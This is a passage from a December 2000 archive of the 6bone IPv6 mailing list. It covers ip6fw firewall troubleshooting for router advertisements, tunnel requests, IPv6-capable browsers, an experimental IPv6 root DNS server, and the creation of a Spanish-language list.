If you are a sprint customer, and have problems after this afternoon, please
feel free to write directly, and I we will make sure to work to get you back
in service. 


Why:  Upgrading software to provide better filtering and customer
functionality.

Thanks
Rob Rockell
Sprint Internet Services
Principal Engineer
SprintLink Europe/Asia
703-689-6322
-----------------------------------------------------------------------


From 6bone-owner  Mon Dec  4 08:09:33 2000
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Date: Mon, 04 Dec 2000 08:09:24 -0800 (PST)
From: Warren Matthews <warrenm@SLAC.Stanford.EDU>
Subject: ip6fw
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 <Pine.SOL.4.21.0011291501030.25414-100000@evagore.SLAC.Stanford.EDU>
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I'm setting up rules for ip6fw on a machine running FreeBSD 4.2-Release,
and I'm having trouble getting router advertisements and solicitations
through for smooth autoconfiguration.

I see icmp type 134 from my ipv6 router to all ipv6 devices on the 
outside interface of the firewall (as expected), but nothing gets
through to the machines connected to the inside interface. I have set

  allow ipv6-icmp from any to any 

and 

   net.inet6.ip6.forwarding=1

So I would expect the advertisements and solicitations to be accepted on
one interface and sent out the other. I wonder about the TTL, but I
would've thought (hoped) the firewall is transparent to allowable traffic.

Has anyone done this, any suggestions ?

Thanks.

--------------------------------------------------------------------------
Warren Matthews                       If ease of use was the highest goal,
Principal Network Specialist               we'd all be driving golf carts.
Stanford Linear Accelerator Center.                          - Larry Wall.






From 6bone-owner  Mon Dec  4 10:49:42 2000
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Sprint software upgrade has been completed.  If you feel that you are
impacted by this still, please write to me privately, and we'll get you
fixed.  Looks like everyone that was up before remains up at this time. Have
a great day.

Thanks
Rob Rockell
Sprint Internet Services
Principal Engineer
SprintLink Europe/Asia
703-689-6322
-----------------------------------------------------------------------


From 6bone-owner  Mon Dec  4 12:02:32 2000
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Date: Mon, 04 Dec 2000 21:02:25 +0100
From: "Jasper Jongmans" <aprogas@mail.com>
To: 6bone@ISI.EDU
Subject: Re: ip6fw
Reply-To: aprogas@mail.com
In-Reply-To: <Pine.SOL.4.21.0012020955350.18009-100000@oceanus.SLAC.Stanford.EDU>
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Mon, 04 Dec 2000, Warren Matthews wrote:
> I'm setting up rules for ip6fw on a machine running FreeBSD 4.2-Release,
> and I'm having trouble getting router advertisements and solicitations
> through for smooth autoconfiguration.
> 
> I see icmp type 134 from my ipv6 router to all ipv6 devices on the 
> outside interface of the firewall (as expected), but nothing gets
> through to the machines connected to the inside interface. I have set
> 
>   allow ipv6-icmp from any to any 
> 
> and 
> 
>    net.inet6.ip6.forwarding=1
> 
> So I would expect the advertisements and solicitations to be accepted on
> one interface and sent out the other. I wonder about the TTL, but I
> would've thought (hoped) the firewall is transparent to allowable
> traffic.
> 
> Has anyone done this, any suggestions ?

I am interested in the rules before the ``allow ipv6-icmp from any to any'' rule. There is probably a rule disallowing the router advertisements and solicitations from getting through.

You can also try to put ``log'' for all deny-rules so you see where exactly the packets are lost.

- -- 
Jasper Jongmans                                            aprogas@mail.com
Website                         http://aprogas.student.utwente.nl/~aprogas/
PGP public key            ftp://aprogas.student.utwente.nl/keys/pgp_dss.asc

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From 6bone-owner  Mon Dec  4 13:01:47 2000
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Date: Mon, 04 Dec 2000 16:00:56 -0500
To: 6bone@ISI.EDU
From: Paul Timmins <paul@timmins.net>
Subject: Merit Contact Info
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I read in Merit's whois record that they are giving out tunnels and IPs, 
and I tried emailing the maintainer of the Whois info last week and 
received no reply. Is there a secret webpage I have to go to, or is there 
another contact I am supposed to email, or am I just being too jumpy and I 
should calm down and be patient? ;-)
-Paul


By Popular request I have moved my signature to:
http://198.87.147.223/paulsig.txt

Paul Timmins
paul@timmins.net
http://www.timmins.net/
ICQ#: 15422024 - Home
         21888714 - Work Laptop
"By definition, if you don't stand up for anything you stand for nothing"
     ---Paul Timmins


From 6bone-owner  Mon Dec  4 15:51:15 2000
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Date: Tue, 05 Dec 2000 00:51:05 +0100
From: "Jasper Jongmans" <aprogas@mail.com>
To: 6bone@ISI.EDU
Subject: Re: ip6fw
Reply-To: aprogas@mail.com
In-Reply-To: <Pine.SOL.4.21.0012041508520.19925-100000@evagore.SLAC.Stanford.EDU>
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-----BEGIN PGP SIGNED MESSAGE-----
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On Mon, 04 Dec 2000, Warren Matthews wrote:
> # ip6fw -a list
> 24000       1455      46984 allow log ipv6-icmp from any to any
> 32000      67343   49295534 allow log ipv6 from any to any
> 65535          1         20 deny ipv6 from any to any
> 
> In the log I see 
> 
>   Dec  4 17:26:58 SCYLLA /kernel: ip6fw: 24000 Accept IPV6-ICMP:134.0
>   [fe80::0210:7bff:feb5:8f41] [ff02::0001] in via xl0
> 
> (fe80::0210:7bff:feb5:8f41 is my router, xl0 is the outside interface)
> 
> And 
> 
> # ifconfig xl0
>         inet6 2001:400:808:1:210:5aff:fe78:267c prefixlen 64 
> 
> but
> 
> # ifconfig xl1
>         inet6 fe80::2c0:4fff:fe04:27fe%xl1 prefixlen 64 scopeid 0x2
> 
> (xl1 is the inside interface).

I now get the idea that you are trying to forward router advertisements from one interface to another. Router advertisements are only suited for a local physical network (that is why the fe80 prefix is used), so you cannot forward them to another network on IP-level. If you want a LAN to get autoconfig'ed too, you must either have your own prefix and have your own advertising router; or you must compile in bridge support in your kernel (which will forward packets at physical network level). My ISP forbids all customers to use a kernel bridge function, since it seems to crash their switches and/or routers, so be careful when using it. :)

- -- 
Jasper Jongmans                                            aprogas@mail.com
Website                         http://aprogas.student.utwente.nl/~aprogas/
PGP public key            ftp://aprogas.student.utwente.nl/keys/pgp_dss.asc

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=K8vK
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From 6bone-owner  Wed Dec  6 04:51:40 2000
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To: 6bone@ISI.EDU
From: Mike Knell <mike.knell@cs.tcd.ie>
Subject: Tunnel/space request (repeat)
Date: Wed, 06 Dec 2000 12:51:21 +0000
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Hi all,

My apologies for splattercasting..

About six months ago, we were looking to do some IP6 experimentation here
in TCD, and planning on joining the 6bone to gain some experience.

Unfortunately, things have been a bit busy over the past few months, and
I'm only now getting back to sorting things out...

I had a couple of offers back then of tunnels, but as it's been so long
I thought it was best to put out a fresh request -- can anyone supply
us with a tunnel, and also a little address space, so we can get 
ourselves up and running?

TCD is on the HEANET (AS1213), so the best bet would be someone either
on JANET or one of the other TEN-155 connected academic networks -- we
usually have 70ms-ish rtts to these parts of the world. Most other
places involve going via our (very congested) US link.

Thanks a million in advance,
Mike

-- 
Computer Science System Administrator, Trinity College, Dublin, Ireland
       mike.knell@cs.tcd.ie -=- http://www.cs.tcd.ie/Mike.Knell/

From 6bone-owner  Wed Dec  6 06:55:38 2000
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Date: Wed, 06 Dec 2000 15:41:56 +0100
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: New version of ASpath-tree available (v3.1)
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Cc: "'ipv6@cselt.it'" <ipv6@cselt.it>,
        "'ipv6@colorado.cselt.it'" <ipv6@colorado.cselt.it>
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Hi all,

this is just to inform you that a new version of ASpath-tree (v3.1) is
now available for download at the following URL:
http://carmen.ipv6.cselt.it/ipv6/download.html

This new release fixes a bug for supporting Cisco IOS > 12 and
includes minor code clean-up.

--Ivano




From 6bone-owner  Wed Dec  6 09:40:33 2000
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From: Pim van Pelt <pim@wise-guys.nl>
Message-Id: <200012061751.SAA05333@godfather.wise-guys.nl>
Subject: ipv6-site class 'native' field
To: 6bone@ISI.EDU, david@iprg.nokia.com
Date: Wed, 6 Dec 2000 18:51:30 +0100 (CET)
CC: pim@ipng.nl
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Dear David (6bone list),

While starting out 6bone whois-db registration for Intouch, I read the
draft (draft-ietf-ngtrans-6bone-registry-03.txt). This document explains
the 'native:' field in the ipv6-site class. 

Unless I'm mistaken, this particular field is not accepted by the whois
database software (via mail) and Viagenie's web frontend does not know
about it either.

I have currently set my native peers as tunnels, because I don't have
any other means at the moment. Is this a known issue and are their any
thoughts about native peers in the database ?

CC: 6bone list

regards,
Pim van Pelt

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt       Email: pvanpelt@wise-guys.nl
http://www.wise-guys.nl/      GSM: +31629064049
-----------------------------------------------

From 6bone-owner  Wed Dec  6 11:01:51 2000
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Subject: RE: Tunnel/space request (repeat)
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Hola hay alguien que entienda español en esta lista?


estoy muy interesado en hacer experiencioas con 6 bone
ademas estoy tratando de sacar uyn proyecto sobre internet 2

si hay algun interesado escriban a la lista.

Christian.

----- Original Message -----
From: Mike Knell <mike.knell@cs.tcd.ie>
To: <6bone@ISI.EDU>
Sent: Wednesday, December 06, 2000 8:51 AM
Subject: Tunnel/space request (repeat)


>
> Hi all,
>
> My apologies for splattercasting..
>
> About six months ago, we were looking to do some IP6 experimentation here
> in TCD, and planning on joining the 6bone to gain some experience.
>
> Unfortunately, things have been a bit busy over the past few months, and
> I'm only now getting back to sorting things out...
>
> I had a couple of offers back then of tunnels, but as it's been so long
> I thought it was best to put out a fresh request -- can anyone supply
> us with a tunnel, and also a little address space, so we can get
> ourselves up and running?
>
> TCD is on the HEANET (AS1213), so the best bet would be someone either
> on JANET or one of the other TEN-155 connected academic networks -- we
> usually have 70ms-ish rtts to these parts of the world. Most other
> places involve going via our (very congested) US link.
>
> Thanks a million in advance,
> Mike
>
> --
> Computer Science System Administrator, Trinity College, Dublin, Ireland
>        mike.knell@cs.tcd.ie -=- http://www.cs.tcd.ie/Mike.Knell/


From 6bone-owner  Wed Dec  6 12:06:21 2000
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From: Peilei Fan <peilei@MIT.EDU>
Subject: ipv6 web browser
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Hello there,

Does anyone know where I can find a good ipv6 web browser for FreeBSD or
linux?

Thanks.

Peilei


From 6bone-owner  Wed Dec  6 14:37:28 2000
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From: Brad Spencer <brad@anduin.eldar.org>
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   Hello there,

   Does anyone know where I can find a good ipv6 web browser for FreeBSD or
   linux?

   Thanks.

   Peilei




For text, Lynx is IPv6 ready.  For more complicated browsers, Mozilla
[although I don't know about Netscape 6] supports IPv6 as does mMosaic, if
you can't or do not want to do Mozilla.




Brad Spencer - brad@anduin.eldar.org
http://anduin.eldar.org  - & -  http://mellon.ipv6.eldar.org [IPv6 only]
[finger brad@anduin.eldar.org for PGP public key]


From 6bone-owner  Wed Dec  6 14:47:21 2000
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  If you get a response please tell the rest of us - I tried to build the
latest mozilla with ipv6 patches on fbsd 4.1.1 and it was just nuts. Now
that I've got ipv6 running all over the place it'd be nice to use it for
something.


Peilei Fan wrote:

> Hello there,
>
> Does anyone know where I can find a good ipv6 web browser for FreeBSD or
> linux?
>
> Thanks.
>
> Peilei


From 6bone-owner  Wed Dec  6 15:03:03 2000
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Believe it or not, mozilla actually does build on 4.1-stable, but you have
to have ALL the necessary packages (gnome and stuff) at their current
version.  cvsup the latest ports tree, then do pkg_version -v to see
which packages need to be updated.  Do so and mozilla will build (it will
take several hours on a fast machine with a fast disk, so be prepared to 
wait).

/ji

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Peilei Fan wrote:
> 
> Hello there,
> 
> Does anyone know where I can find a good ipv6 web browser for FreeBSD or
> linux?
> 
/usr/ports/www/mozilla+ipv6

Jim
-- 
jeh@FreeBSD.org      http://www.FreeBSD.org     The Power to Serve
jim@TheHousleys.Net  http://www.TheHousleys.net
---------------------------------------------------------------------
Artificial intelligence is no match for natural stupidity.

From 6bone-owner  Wed Dec  6 18:51:43 2000
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Date: Thu, 7 Dec 2000 03:51:14 +0100
From: Feico Dillema <feico@pasta.cs.uit.no>
To: 6bone@ISI.EDU
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On Wed, Dec 06, 2000 at 06:09:54PM -0500, James Housley wrote:
> Peilei Fan wrote:
> > 
> > Hello there,
> > 
> > Does anyone know where I can find a good ipv6 web browser for FreeBSD or
> > linux?
> > 
> /usr/ports/www/mozilla+ipv6

My trick is to use IPv4-only browser (netscape, opera) with small
www-proxy as frontend that does have v6 support. I used wwwoffle in
the past (see NetBSD pkgsrc, ftp.kame.net or our ftp site
(ftp://ftp.pasta.cs.uit.no:/pub/Vermicelli) for patches to wwwoffle.
But wwwoffle is designed for caching and pre-fetching when behind a
slow link like ISDN; it is a bit of a burden behind faster links,
so...

Last week I made a very minimal web-proxy just for the purpose of
sitting in between a v4 only browser and a v6-network. Still needs
some minor work, but already works quite ok. It is called www6to4 and
can be found on our ftp-site too.

Feico.

From 6bone-owner  Wed Dec  6 19:46:32 2000
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Date: Wed, 06 Dec 2000 19:46:23 -0800
To: Pim van Pelt <pim@wise-guys.nl>, 6bone@ISI.EDU, david@iprg.nokia.com
From: Bob Fink <fink@es.net>
Subject: Re: ipv6-site class 'native' field
Cc: pim@ipng.nl
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Pim,

At 06:51 PM 12/6/2000 +0100, Pim van Pelt wrote:
>Dear David (6bone list),
>
>While starting out 6bone whois-db registration for Intouch, I read the
>draft (draft-ietf-ngtrans-6bone-registry-03.txt). This document explains
>the 'native:' field in the ipv6-site class.
>
>Unless I'm mistaken, this particular field is not accepted by the whois
>database software (via mail) and Viagenie's web frontend does not know
>about it either.
>
>I have currently set my native peers as tunnels, because I don't have
>any other means at the moment. Is this a known issue and are their any
>thoughts about native peers in the database ?


The native field isn't implemented yet. Using tunnels is the right thing 
for the moment.


Bob


From 6bone-owner  Wed Dec  6 22:43:35 2000
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Date: Thu, 07 Dec 2000 01:45:55 -0500
To: 6bone@ISI.EDU, users@ipv6.org, members@ipv6forum.com,
        ngtrans@sunroof.eng.sun.com
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: IPv6 root and gtld dns server available
Cc: ipv6@viagenie.qc.ca, dnsrs-support@viagenie.qc.ca
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Hi,
	we are making available to the IPv6 community an IPv6 root and gtld dns 
server for experimental purposes. This will enable dns resolution using 
IPv6 up to the dns root level. This server is configured to be 
authoritative for the root zone and the gtld zones.

	This service is on a best effort basis and no garantee is given. One 
should not configure its production dns service pointing to this server. It 
is offered in order to help the IPv6 community to expand the testing of a 
full IPv6 network, without any IPv4 transport or service. Viagénie has no 
intent to offer any dns root server service and will shutdown the service 
as soon as the "real" root servers will support IPv6.
	
	Information on how to use the service is available at: 
http://www.viagenie.qc.ca/en/ipv6/dnsrs/utilisation.shtml. Generic 
information is available at: 
http://www.viagenie.qc.ca/fr/nouvelles/commdepresse/dnsrs_200011.shtml.

	This service is partly funded by Canarie and is located on the CA*net3 
network.

Regards, Marc.

PS. special requests and support questions should be sent to 
dnsrs-support@viagenie.qc.ca.
PS2. a mailing list for discussion on this service has been established and 
maintained by majordomo. Send a subscribe message to 
dnsrs-request@viagenie.qc.ca

Marc Blanchet
Viagénie inc.
tel: 418-656-9254
http://www.viagenie.qc.ca

----------------------------------------------------------
Normos (http://www.normos.org): Internet standards portal:
IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place.


From 6bone-owner  Thu Dec  7 01:10:12 2000
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Date: Thu, 07 Dec 2000 10:09:39 +0100 (MET)
Organization: Westfaelische Wilhelms-Universitaet
From: Christian Schild <ipng@uni-muenster.de>
To: Brad Spencer <brad@anduin.eldar.org>
Subject: Re: ipv6 web browser
Cc: 6bone@ISI.EDU, peilei@MIT.EDU
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-----BEGIN PGP SIGNED MESSAGE-----

Hello Brad, Peilei,

On 06-Dec-2000 Brad Spencer wrote:
> 
>    Hello there,
> 
>    Does anyone know where I can find a good ipv6 web browser for FreeBSD or
>    linux?
> 
>    Thanks.
> 
>    Peilei
> 
> For text, Lynx is IPv6 ready.  For more complicated browsers, Mozilla
> [although I don't know about Netscape 6] supports IPv6 as does mMosaic, if
> you can't or do not want to do Mozilla.

Netscape 6 (linux version only!) is IPv6 ready, yes, but I really like to
recommend using beonex communicator (http://www.beonex.de), which is a
sibling to netscape6, but much smaller and without that useless advertising
stuff. It is my standard browser now, and I'm quite pleased with it - I can
use IPv6 addresses at least :-)

Greetings,
     Christian

- -- 
JOIN -- IP Version 6 in the WiN   Christian Schild
                  A DFN project   Westfaelische Wilhelms-Universitaet Muenster
Project Team email:               Zentrum fuer Informationsverarbeitung
           join@uni-muenster.de   Roentgenstrasse 9-13
http://www.join.uni-muenster.de   D-48149 Muenster / Germany
email: schild@uni-muenster.de,  phone: +49 251 83 31638, fax: +49 251 83 31653

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From 6bone-owner  Thu Dec  7 07:09:14 2000
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To: Christian Schild <ipng@uni-muenster.de>, 6bone@ISI.EDU
CC: Brad Spencer <brad@anduin.eldar.org>, peilei@MIT.EDU
Subject: Re: ipv6 web browser
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   I use the linux netscape binary on freebsd 4.1.1 - I went through the netscape
ports when I installed 4.0-release and none of them were worthy of handling
email.

   I am going to try the netscape6 linux binary under freebsd and then later when
I have time I'll fool with the cvsup of ports and see how that stuff works.


   Thanks to all who replied  for the prompt answers.

Christian Schild wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> Hello Brad, Peilei,
>
> On 06-Dec-2000 Brad Spencer wrote:
> >
> >    Hello there,
> >
> >    Does anyone know where I can find a good ipv6 web browser for FreeBSD or
> >    linux?
> >
> >    Thanks.
> >
> >    Peilei
> >
> > For text, Lynx is IPv6 ready.  For more complicated browsers, Mozilla
> > [although I don't know about Netscape 6] supports IPv6 as does mMosaic, if
> > you can't or do not want to do Mozilla.
>
> Netscape 6 (linux version only!) is IPv6 ready, yes, but I really like to
> recommend using beonex communicator (http://www.beonex.de), which is a
> sibling to netscape6, but much smaller and without that useless advertising
> stuff. It is my standard browser now, and I'm quite pleased with it - I can
> use IPv6 addresses at least :-)
>
> Greetings,
>      Christian
>
> - --
> JOIN -- IP Version 6 in the WiN   Christian Schild
>                   A DFN project   Westfaelische Wilhelms-Universitaet Muenster
> Project Team email:               Zentrum fuer Informationsverarbeitung
>            join@uni-muenster.de   Roentgenstrasse 9-13
> http://www.join.uni-muenster.de   D-48149 Muenster / Germany
> email: schild@uni-muenster.de,  phone: +49 251 83 31638, fax: +49 251 83 31653
>
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3i
> Charset: noconv
>
> iQCVAwUBOi9T0dez4smcZGP5AQFniwP+IaGJhc5FwKDFmbbl4wOvVyFPcEOnYgLU
> GQBikIbTboqvmc6rRI0Gqyh8PN2z1AGUk7QQz0gz3AWQIH0B8JBj1VbU8AbnpjU0
> vsDVvWHKiLg65YUSnqhjo0IAK98ZUfKIsb+F7x1Bh7Ud0yladDmTWKcSn7yAPiht
> DUE8nlvlupQ=
> =WM2t
> -----END PGP SIGNATURE-----


From 6bone-owner  Thu Dec  7 07:44:21 2000
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From: Jose Munoz <jmunoz@inictel.gob.pe>
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Organization: INICTEL
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To: clazo <clazo@inf.uach.cl>
CC: 6bone@ISI.EDU
Subject: Re: Tunnel/space request (repeat)
References: <200012061251.MAA10887@relay.cs.tcd.ie> <01a501c05fbf$cc0bc6d0$83d85392@inf.uach.cl>
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Hola Christian:

Te saludamos desde INICTEL, Perú. Aquí tambien estamos interesados en empezar
proximamente pruebas con IPv6 en Linux y conectarnos al 6Bone, así que espero
establezcamos contactos que sean de beneficio mutuo.

Un abrazo

José Luis Muñoz Meza.

P.D.: Si alguien más está interesado en participar hablando español....  :0)


clazo escribió:

> Hola hay alguien que entienda español en esta lista?
>
> estoy muy interesado en hacer experiencioas con 6 bone
> ademas estoy tratando de sacar uyn proyecto sobre internet 2
>
> si hay algun interesado escriban a la lista.
>
> Christian.


From 6bone-owner  Thu Dec  7 07:55:19 2000
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From: "clazo" <clazo@inf.uach.cl>
To: <jmunoz@inictel.gob.pe>
Cc: <6bone@ISI.EDU>
References: <200012061251.MAA10887@relay.cs.tcd.ie> <01a501c05fbf$cc0bc6d0$83d85392@inf.uach.cl> <3A2FB093.33099B7@inictel.gob.pe>
Subject: RE: Tunnel/space request (repeat)
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Hola me alegro mucho saber que existe mucha gente de habla hispana
trabajando en el tema, por lo que sugiero que generemos un canal de
comunicaciones para nosotros . No me mal interpreten no es que quiera ser
separatista de 6bone@isi.edu, sino que es mucho  mas facil para nosotros
compartir experiencias en nuestra lengua, y por que no generar una red
Ssdaca  de 6bone...

Si la idea prende yo podria montar un majordomo en alguna de mis maquinas y
listooo..
¿que les parece..?


----- Original Message -----
From: Jose Munoz <jmunoz@inictel.gob.pe>
To: clazo <clazo@inf.uach.cl>
Cc: <6bone@ISI.EDU>
Sent: Thursday, December 07, 2000 11:45 AM
Subject: Re: Tunnel/space request (repeat)


> Hola Christian:
>
> Te saludamos desde INICTEL, Perú. Aquí tambien estamos interesados en
empezar
> proximamente pruebas con IPv6 en Linux y conectarnos al 6Bone, así que
espero
> establezcamos contactos que sean de beneficio mutuo.
>
> Un abrazo
>
> José Luis Muñoz Meza.
>
> P.D.: Si alguien más está interesado en participar hablando español....
:0)
>
>
> clazo escribió:
>
> > Hola hay alguien que entienda español en esta lista?
> >
> > estoy muy interesado en hacer experiencioas con 6 bone
> > ademas estoy tratando de sacar uyn proyecto sobre internet 2
> >
> > si hay algun interesado escriban a la lista.
> >
> > Christian.


From 6bone-owner  Thu Dec  7 08:04:31 2000
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Organization: INICTEL
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Subject: Re: Tunnel/space request (repeat)
References: <200012061251.MAA10887@relay.cs.tcd.ie> <01a501c05fbf$cc0bc6d0$83d85392@inf.uach.cl> <3A2FB093.33099B7@inictel.gob.pe> <003701c0606e$6a93e400$83d85392@inf.uach.cl>
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clazo escribió:

> Hola me alegro mucho saber que existe mucha gente de habla hispana
> trabajando en el tema, por lo que sugiero que generemos un canal de
> comunicaciones para nosotros . No me mal interpreten no es que quiera ser
> separatista de 6bone@isi.edu, sino que es mucho  mas facil para nosotros
> compartir experiencias en nuestra lengua, y por que no generar una red
> Ssdaca  de 6bone...
>
> Si la idea prende yo podria montar un majordomo en alguna de mis maquinas y
> listooo..
> ¿que les parece..?
>
> ----- Original Message -----
> From: Jose Munoz <jmunoz@inictel.gob.pe>
> To: clazo <clazo@inf.uach.cl>
> Cc: <6bone@ISI.EDU>
> Sent: Thursday, December 07, 2000 11:45 AM
> Subject: Re: Tunnel/space request (repeat)
>
> > Hola Christian:
> >
> > Te saludamos desde INICTEL, Perú. Aquí tambien estamos interesados en
> empezar
> > proximamente pruebas con IPv6 en Linux y conectarnos al 6Bone, así que
> espero
> > establezcamos contactos que sean de beneficio mutuo.
> >
> > Un abrazo
> >
> > José Luis Muñoz Meza.
> >
> > P.D.: Si alguien más está interesado en participar hablando español....
> :0)
> >
> >
> > clazo escribió:
> >
> > > Hola hay alguien que entienda español en esta lista?
> > >
> > > estoy muy interesado en hacer experiencioas con 6 bone
> > > ademas estoy tratando de sacar uyn proyecto sobre internet 2
> > >
> > > si hay algun interesado escriban a la lista.
> > >
> > > Christian.

Hola Christian:

Es una excelente idea la de crear una lista en español, en realidad se me
habia cruzado por la mente igual posibilidad, espero aparezcan más personas en
breve.

José Luis


From 6bone-owner  Thu Dec  7 08:28:13 2000
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References: <200012061251.MAA10887@relay.cs.tcd.ie> <01a501c05fbf$cc0bc6d0$83d85392@inf.uach.cl> <3A2FB093.33099B7@inictel.gob.pe>
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saludos de Los Angeles.

Aqui estal la informacion que le mande a Christian.

Espero que ayuda.

claudia

-------- Original Message --------
Subject: Re: Tunnel/space request (repeat)
Date: Wed, 06 Dec 2000 12:21:57 -0800
From: Claudia de Luna <claudia.de.luna@jpl.nasa.gov>
To: clazo <clazo@inf.uach.cl>
CC: dmf@unl.edu
BCC: claudia.de.luna@jpl.nasa.gov
References: <200012061251.MAA10887@relay.cs.tcd.ie>
<01a501c05fbf$cc0bc6d0$83d85392@inf.uach.cl>

Christian,

Lo entiendo pero no lo escribo mui bien.

Has visto la infomacion del grupo trabajando con el 6bone en Internet 2?

http://www.internet2.edu/ipv6/

Dale Finkelson <dmf@unl.edu>  organiza el grupo para Internet 2 y seria u buen
contacto.

Le mande tu mensage.

Cual universidad representas y donde estas?  No conozco cl. es colombia?

buena suerte,

claudia



Jose Munoz wrote:

> Hola Christian:
>
> Te saludamos desde INICTEL, Perú. Aquí tambien estamos interesados en empezar
> proximamente pruebas con IPv6 en Linux y conectarnos al 6Bone, así que espero
> establezcamos contactos que sean de beneficio mutuo.
>
> Un abrazo
>
> José Luis Muñoz Meza.
>
> P.D.: Si alguien más está interesado en participar hablando español....  :0)
>
> clazo escribió:
>
> > Hola hay alguien que entienda español en esta lista?
> >
> > estoy muy interesado en hacer experiencioas con 6 bone
> > ademas estoy tratando de sacar uyn proyecto sobre internet 2
> >
> > si hay algun interesado escriban a la lista.
> >
> > Christian.


From 6bone-owner  Thu Dec  7 11:53:00 2000
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From: "clazo" <clazo@inf.uach.cl>
To: <6bone@ISI.EDU>
Cc: <6bone@inf.uach.cl>
Subject: =?iso-8859-1?Q?lista_en_espa=F1ol?=
Date: Thu, 7 Dec 2000 16:55:45 -0400
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This is a multi-part message in MIME format.

------=_NextPart_000_003A_01C0606E.8AD1FAE0
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	charset="iso-8859-1"
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Pensamiento y accion se=F1ores..

como veo que somos varios los interesados en recibir informacion en =
espa=F1ol
me tome la libertad de generar la lista par intercambiar info.

la lista es 6bone@inf.uach.cl
para suscribirse manden mail a majordomo@inf.uach.cl
y en el curerpo del correo debe decir subscribe 6bone

los espero y saludos

Christian.
__________________
Christian Lazo Ramirez
Intituto de Informatica
Fac. Cs. de la Ingenieria
Universidad Austral de Chile

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3D"Comic Sans MS" size=3D2>Pensamiento y accion=20
se=F1ores..</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2>como veo que somos varios los =
interesados=20
en recibir informacion en espa=F1ol</FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2>me tome la libertad de =
generar la lista=20
par intercambiar info.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2>la lista es <A=20
href=3D"mailto:6bone@inf.uach.cl">6bone@inf.uach.cl</A></FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2>para suscribirse manden mail =
a=20
</FONT><FONT face=3D"Comic Sans MS" size=3D2><A=20
href=3D"mailto:para =
majordomo@inf.uach.cl">majordomo@inf.uach.cl</A></FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2>y en el curerpo del correo =
debe decir=20
<STRONG>subscribe 6bone</STRONG></FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2>los espero y </FONT><FONT=20
face=3D"Comic Sans MS" size=3D2>saludos</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS"=20
size=3D2>Christian.<BR>__________________<BR>Christian Lazo =
Ramirez<BR>Intituto de=20
Informatica<BR>Fac. Cs. de la Ingenieria<BR>Universidad Austral de=20
Chile</FONT></DIV></BODY></HTML>

------=_NextPart_000_003A_01C0606E.8AD1FAE0--


From 6bone-owner  Thu Dec  7 15:35:12 2000
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sorry I don't know spanish... come on people

Mark

From 6bone-owner  Thu Dec  7 19:51:16 2000
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On Thu, Dec 07, 2000 at 04:55:45PM -0400, clazo wrote:
> Pensamiento y accion señores..
> 
> como veo que somos varios los interesados en recibir informacion en español
> me tome la libertad de generar la lista par intercambiar info.
> 
> la lista es 6bone@inf.uach.cl
> para suscribirse manden mail a majordomo@inf.uach.cl
> y en el curerpo del correo debe decir subscribe 6bone
> 
> los espero y saludos
> 
> Christian.

On Fri, Dec 08, 2000 at 12:34:04AM +0100, Mark Noordzij wrote:
> sorry I don't know spanish... come on people
> 
> Mark

disclaimer: i'm not great with spanish either..

Basically he's saying that he has created a spanish-language oriented 6bone
mailing list, then he gives instructions..

the list is 6bone@inf.uach.cl
to subscribe mail majordomo@inf.uach.cl
and include in the message "subscribe 6bone"


hopefully this helps someone 
 - brian
-- 
+-------------------------------------------------------------
| Brian Russo   <brusso@phys.hawaii.edu>   GPG ID: 54D81666 
| 404E 87E8 DD0C 275B 742B  09AD 2243 839C 54D8 1666
| http://www.phys.hawaii.edu/~brusso/gpg_brian.asc

From 6bone-owner  Mon Dec 11 04:11:41 2000
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From: "Rodolfo Alvarez" <rodolfo@fibertel.com.ar>
To: "clazo" <clazo@inf.uach.cl>, <6bone@ISI.EDU>
References: <200012061251.MAA10887@relay.cs.tcd.ie> <01a501c05fbf$cc0bc6d0$83d85392@inf.uach.cl>
Subject: Re: Tunnel/space request (repeat)
Date: Mon, 11 Dec 2000 21:13:58 -0600
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Hola , a tambien me cuesta un poco el ingles.
Yo tambien estoy interesado en experimentar con 6Bone, escribime que ya
tengo algo por donde empezar

Rodolfo


----- Original Message -----
From: "clazo" <clazo@inf.uach.cl>
To: <6bone@ISI.EDU>
Sent: Wednesday, December 06, 2000 2:04 PM
Subject: RE: Tunnel/space request (repeat)


>
>
> Hola hay alguien que entienda español en esta lista?
>
>
> estoy muy interesado en hacer experiencioas con 6 bone
> ademas estoy tratando de sacar uyn proyecto sobre internet 2
>
> si hay algun interesado escriban a la lista.
>
> Christian.
>
> ----- Original Message -----
> From: Mike Knell <mike.knell@cs.tcd.ie>
> To: <6bone@ISI.EDU>
> Sent: Wednesday, December 06, 2000 8:51 AM
> Subject: Tunnel/space request (repeat)
>
>
> >
> > Hi all,
> >
> > My apologies for splattercasting..
> >
> > About six months ago, we were looking to do some IP6 experimentation
here
> > in TCD, and planning on joining the 6bone to gain some experience.
> >
> > Unfortunately, things have been a bit busy over the past few months, and
> > I'm only now getting back to sorting things out...
> >
> > I had a couple of offers back then of tunnels, but as it's been so long
> > I thought it was best to put out a fresh request -- can anyone supply
> > us with a tunnel, and also a little address space, so we can get
> > ourselves up and running?
> >
> > TCD is on the HEANET (AS1213), so the best bet would be someone either
> > on JANET or one of the other TEN-155 connected academic networks -- we
> > usually have 70ms-ish rtts to these parts of the world. Most other
